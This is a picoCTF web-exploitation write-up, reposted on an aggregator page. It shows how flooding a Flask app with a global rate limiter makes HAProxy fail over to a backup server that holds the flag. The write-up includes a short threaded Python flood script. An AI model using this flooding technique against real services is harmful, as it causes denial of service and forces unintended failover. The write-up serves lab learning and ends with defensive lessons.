惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
DataBreaches.Net
Y
Y Combinator Blog
I
InfoQ
Recent Announcements
Recent Announcements
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
博客园 - Franky
IT之家
IT之家
H
Help Net Security
月光博客
月光博客
S
SegmentFault 最新的问题
B
Blog
aimingoo的专栏
aimingoo的专栏
GbyAI
GbyAI
P
Proofpoint News Feed
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
G
Google Developers Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
U
Unit 42
Vercel News
Vercel News
博客园 - 叶小钗
Microsoft Security Blog
Microsoft Security Blog
腾讯CDC
Jina AI
Jina AI
T
The Blog of Author Tim Ferriss

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
PicoCTF Web Challenge Writeup: Failure Failure
Yogeshwar Pe · 2026-05-27 · via DEV Community
Cover image for PicoCTF Web Challenge Writeup: Failure Failure

Yogeshwar Peela

Overview

We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.

Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config analysis


Step 1 — Analyzing the HAProxy Config

backend servers
    option httpchk GET /
    http-check expect status 200
    server s1 *:8000 check inter 2s fall 2 rise 3
    server s2 *:9000 check backup inter 2s fall 2 rise 3

Enter fullscreen mode Exit fullscreen mode

Key observations:

  • s1 (port 8000) is the primary server
  • s2 (port 9000) is the backup server — only used when s1 is down
  • Health check runs GET / every 2 seconds and expects HTTP 200
  • fall 2 means s1 is marked down after 2 consecutive failed health checks
  • rise 3 means s1 needs 3 successful checks to come back online

Step 2 — Analyzing the Flask App

if os.getenv("IS_BACKUP") == "yes":
    flag = os.getenv("FLAG")
else:
    flag = "No flag in this service"

Enter fullscreen mode Exit fullscreen mode

The flag is only available on the backup server where IS_BACKUP=yes.

The real vulnerability is in the rate limiter:

limiter = Limiter(
    key_func=global_rate_limit_key,  # global limit, not per-IP!
    default_limits=["300 per minute"]
)

Enter fullscreen mode Exit fullscreen mode

@app.errorhandler(429)
def ratelimit_exceeded(e):
    return "Service Unavailable: Rate limit exceeded", 503

Enter fullscreen mode Exit fullscreen mode

When the rate limit is exceeded, the server returns 503 instead of 200 — which fails the HAProxy health check.


Step 3 — The Attack Plan

The chain of events we need to trigger:

  1. Flood the primary server (s1) with 300+ requests per minute
  2. s1 starts returning 503 due to rate limiting
  3. HAProxy health check sees 503 (not 200) → marks s1 as down after 2 failures
  4. HAProxy switches all traffic to the backup server s2
  5. s2 has IS_BACKUP=yes → returns the flag

Step 4 — Exploit Script

import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://CHALLENGE_URL/"

def send():
    try:
        return requests.get(url, timeout=5)
    except:
        pass

# Flood s1 to trigger rate limiting
print("[*] Flooding primary server...")
with ThreadPoolExecutor(max_workers=50) as ex:
    futures = [ex.submit(send) for _ in range(400)]

# Now fetch — should hit backup server
print("[*] Fetching flag from backup server...")
resp = requests.get(url)
print(resp.text)

Enter fullscreen mode Exit fullscreen mode


Step 5 — Getting the Flag

After flooding the primary server, the next request routes to the backup:

picoCTF{...flag...}

Enter fullscreen mode Exit fullscreen mode

Flag captured!


Vulnerability Summary

1. Global rate limiter — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.

2. HAProxy health check fails on 503 — An attacker can deliberately trigger 503s to force failover to the backup server.

3. Flag on backup server — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.


Lessons Learned

  • Never put sensitive data exclusively on a backup server. The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.
  • Use per-IP rate limiting. Global limits let a single user starve everyone else and trigger system-level side effects like this failover.
  • Health check endpoints should be rate-limit exempt. Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.
  • All servers in a cluster are attack surface. Design every node as if it could be directly targeted.

Thanks for reading! If you found this helpful, consider following for more CTF writeups.